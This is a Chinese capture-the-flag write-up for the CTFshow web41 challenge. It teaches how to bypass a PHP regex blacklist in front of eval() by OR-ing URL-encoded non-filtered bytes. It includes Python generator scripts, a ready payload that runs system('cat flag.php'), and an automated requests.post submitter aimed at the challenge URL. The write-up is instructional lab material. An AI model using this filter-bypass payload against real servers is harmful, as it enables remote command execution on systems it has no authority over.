CTFshow wbe41 教你写脚本
这道题确实难,查了很多个大佬的题解,发现这道题考察的是或运算生成字符,但是过了n篇文章发现全是直接用羽师傅的脚本,没有人说这个脚本是怎么运行的,莫名其妙就出结果,脑瓜嗡嗡,可能大佬们默认这脚本大家一看就会用吧,小白只能自己研究了,于是我研究了羽师傅的脚本,自己仿照写了一个!
目录
web41
代码分析:
第一步:通过或运算构造字符
python代码
分析
运行结果
第二步:构造payload
python代码
分析
第三步提交payload
运行结果
payload :
结果
附加步骤自动化脚本
flag:
web41
代码分析:
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");
首先是POST方法传递参数,其次过滤了基本上所有的可见字符,但是没有过滤或运算符|和双引号”,所以可以使用或运算构造字符
第一步:通过或运算构造字符
url编码:对于服务器而言,编码前后的字符串并没有什么区别,服务器能够自动识别。其实url编码就是一个字符ascii的十六进制,不过稍微有些变动,需要在前面加上“%”,即ascii转成十六进制加上%就是url编码,但是url还包括许多ascii中没有的字符
或运算:10000 与00001或运算后结果为10001,即有1为1
构造字符:因为过滤了大部分可见字符,为了使用这些可见字符我们可以使用
“不可见字符”|“不可见字符”=可见字符的方法,即“未过滤字符|未过滤字符”=“过滤的字符”
使用这种方法来绕过过滤,所以第一步就是找到这种未过滤字符
python代码
import re
import urllib
from urllib import parse
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
for i in range(256):for j in range(256):if re.search(pattern, chr(i)):breakif re.search(pattern, chr(j)):continueif i < 16:hex_i = "0" + hex(i)[2:]else:hex_i = hex(i)[2:]if j < 16:hex_j = "0" + hex(j)[2:]else:hex_j = hex(j)[2:]hex_i = '%' + hex_ihex_j = '%' + hex_jc = chr(ord(urllib.parse.unquote(hex_i)) | ord(urllib.parse.unquote(hex_j)))if (c == 's'):print(hex_i, hex_j);
分析
看上去很长,其实不难,一行一行分析
首先url编码的范围大概在0-256(十进制),通过两层循环
i为未过滤字符1
j为未过滤字符2
pattern是题目中过滤的内容,前面提到i与j是未过滤的字符,所以我们要把过滤的字符剔除
re.search是python中正则匹配函数,其中第一个参数为正则表达式,第二个参数是要匹配的字符,如果匹配则返回匹配的位置
因为过滤的字符都是可见字符,且都存在ascii编码,可以直接将i,j当作ascii,利用chr函数转为字符
因为是双层循环,所以当i是可见字符时直接跳过第二层循环,当j是可见字符时跳过该次循环(这块不理解先去学python吧)
接下来就是转换成url编码,就是%16进制
因为python中hex()函数返回值为0x+十六进制,但url编码中没有0x所以使用[2:]截取0x后面的内容
当i,j<16时如4 hex(4)=0x4,但url编码应该为%04所以在hex()[2:0]前面加字符"0"
最后在数字前面加'%'转换为url编码
到这里就是用来筛选可以组合成我们需要字符的两个未知字符的url了
python中 |运算只能使用数字,所以我们先将url编码解码,再使用ord函数将解出来的字符转回ascii,之后进行或运算,运算后将结果使用chr函数转回字符
判断或运算得到的字符是否是我们需要的字符,这里使用的是s,如果是则输出两个未知字符的url编码
运行结果
很多的,只展示一部分
这几组url编码进行或运算都能得到字符s
即s=url解码(%13|%60)
第二步:构造payload
如构造一个system('ls')
这里有两个知识点:
①system('ls')与(system)('ls')是一样的都可以执行
②要使用或运算构造字符串时应将所有如刚才提到的未知字符1拼接到一起|未知字符2拼接到一起
说起来很抽象,举个例子
system=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")
其中%13|%60=s %19|%60=y %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起
python代码
import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):t1 = ""t2 = ""for k in str1[p]:for i in range(256):for j in range(256):if re.search(pattern,chr(i)) :breakif re.search(pattern,chr(j)) :continueif i < 16:hex_i = "0" + hex(i)[2:]else:hex_i=hex(i)[2:]if j < 16:hex_j="0"+hex(j)[2:]else:hex_j=hex(j)[2:]hex_i='%'+hex_ihex_j='%'+hex_jc=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))if(c ==k):t1=t1+hex_it2=t2+hex_jbreakelse:continuebreakprint("(\""+t1+"\"|\""+t2+"\")")
分析
这里是我们要构造的字符串 system 和 ls
p是用来控制字符串个数,两个字符串
t1和t2是用来接收每个字符的前半部分和后半部分
k是用来循环匹配每一个字符
当匹配上后,将前半部分加到t1 后半部分加到t2
每次循环完一个字符串后输出构造好的结果,将两个构造好的字符串拼接,用post方法传入即可看到结果
第三步提交payload
运行结果
上面的是system 下面的是ls
用bp提交一下,注意hackbar提交会被再次编码看不到结果
记得没有换行哈,python出来是换行的
用重发器发送一下
看到ls已经被执行了,接下来就是把ls换成cat flag.php
payload :
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
结果
附加步骤自动化脚本
到这一步其实就是用python主动提交payload
payload=payload+("(\""+t1+"\"|\""+t2+"\")")
print(payload)
data={"c":urllib.parse.unquote(payload)
}
url="http://ae1911ce-91da-4b6c-94b2-c7a618ea88de.challenge.ctf.show/"
re=requests.post(url,data=data)
print(re.text)
就是将结果在python中拼接用requests.post发送,最后把返回结果打印一下
注意因为发送过程中会再次url编码一次所以发送前应该先url解码一次,当然因为|没有执行所以不会解成过滤字符
运行结果
flag:
ctfshow{4d245c9f-6fa0-4dd3-967a-b4ae29aaf846}
到这里就结束啦,相信大家也理解一点了,自己动手写一写吧!共勉!
CTFshow wbe41 教你写脚本相关推荐
- windows脚本编制引擎_手把手教你写脚本引擎(一)
手把手教你写脚本引擎(一)--挑选语言的特性 陈梓瀚 华南理工大学软件本科05级 脚本引擎的作用在于增强程序的可配置性.从游戏到管理系统都需要脚本,甚至连工业级产品的Office.3DS Max以及A ...
- python 遍历usb设备_python程序员教你写脚本玩微信跳一跳,只要有耐心,你就是王者!...
温馨提示:微信已经开始检测分数异常高的情况了,请大家不要跑太高哦 游戏模式 这是一个 2.5D 插画风格的益智游戏,玩家可以通过按压屏幕时间的长短来控制这个「小人」跳跃的距离.可能刚开始上手的时候,因 ...
- updater-script命令详解教你写刷机脚本
updater-script命令详解,刷机脚本怎么写,这些问题都也算是安卓的入门知识了,今天就和大家讲解一下,讲解人是深度论坛的Seeyou,如果你想学习更多ROM制作安卓开发方面的知识,欢迎加入深度 ...
- 不写脚本,也可以拍摄、剪辑好视频,教你一个快速有效的方法
今天大周来教你一个快速有效的方法,不用写脚本也能拍摄.剪辑好视频. 不写脚本怎么拍摄剪辑视频?大家都知道写脚本是一件非常麻烦.痛苦的事情. 当我们刷视频刷到类似故事情节:美满爱情故事.美满和睦的家庭. ...
- 怎么写脚本_直播脚本怎么写|请收下这份攻略
"口红一哥"李佳琦为何那么牛,有人说是因为站在了风口上,有人说是因为他标志性的吆喝声.事实上,更大的因素在于他对每场直播的精心准备.比如,李佳琦推荐每款产品时,往往都会提炼出一个. ...
- 手把手教你写高质量Android技术博客,画图工具,录像工具,Markdown写法
前言 作为程序员,写博客是一件很有意义的事情,可以加深自己对技术的理解,可以结交更多的朋友,记录自己的技术轨迹,而且分享可以让更多的人从中受益,独乐乐不如众乐乐嘛. 但是要写好博客也不是件容易的事,一 ...
- 揭秘!用标准Go语言能写脚本吗?
导语 | Go作为一种编译型语言,经常用于实现后台服务的开发.由于Go初始的开发大佬都是C的老牌使用者,因此Go中保留了不少C的编程习惯和思想,这对C/C++ 和PHP开发者来说非常有吸引力.作为编译 ...
- 手把手教你写批处理-批处理的介绍
标题:手把手教你写批处理-批处理的介绍 作者:佚名 编者:Climbing 出处:中国 DOS 联盟之联合 DOS 论坛 题注:willsort 日期:2004-09-21 ------------- ...
- 【万字长文】手摸手教你shell脚本编程
[万字长文]手摸手教你shell脚本编程 我写这篇文章的目的 前段时间参加了联创团队的春令营, 为期半个多月的春令营做了三个项目, 其中有一个项目是关于shell的, 当时完全没接触过shell脚本编 ...
- 【转载文章】手把手教你写批处理______附加我的读书笔记
https://www.w3cschool.cn/dosmlxxsc1/uebwv9.html 手把手教你写批处理 由 ✎﹏๓₯㎕ζั͡❦﹏﹏♛ 创建, 最后一次修改 2015-11-06 手把手教你 ...
最新文章
- 技术安全与伦理的较量:论道AI的能与不能 | AI Time
- 一文总结微软研究院Transformer霸榜模型三部曲!
- oracle 强制 断开,ORA-01092 ORACLE 实例终止。强制断开连接 解决方案(下)
- vs2015编译 pybind 动态库
- csol战损左轮python_CSOL欢乐拍卖会迎新春 7把战损版武器登录即赠
- 《Windows Phone 8 Development Internals》读书笔记-1-1-连载
- mysql explain 派生表_MySQL的Explain命令
- 使用栈解决的一类经典问题:表达式转换及求值;中缀表达式;前缀表达式,后缀表达式,中缀转前缀;中缀转后缀;后缀表达式求值;波兰式,逆波兰式
- ApI、toString方法、equals方法、Scanner方法基本知识
- RabbitMQ详解(一)
- 12月江苏计算机考试报名入口,江苏2019年12月计算机等级报名时间丨报名系统
- 转 海量数据处理(2)
- ccf 路径解析 java_CCF 201604-3 路径解析
- HTML5与传统HTML的区别
- 《线性代数》学习之———第一章 矩阵与方程组(1.1线性方程组)
- 麦克风没声音,这个选项你注意到了吗?
- c++基础复习(2)
- 【已解决】macbook软件卸载了图标还在launchpad上怎么办?一分钟搞定!
- 字符串—解压缩(C语言)
- 静态HTML页面的参数的获取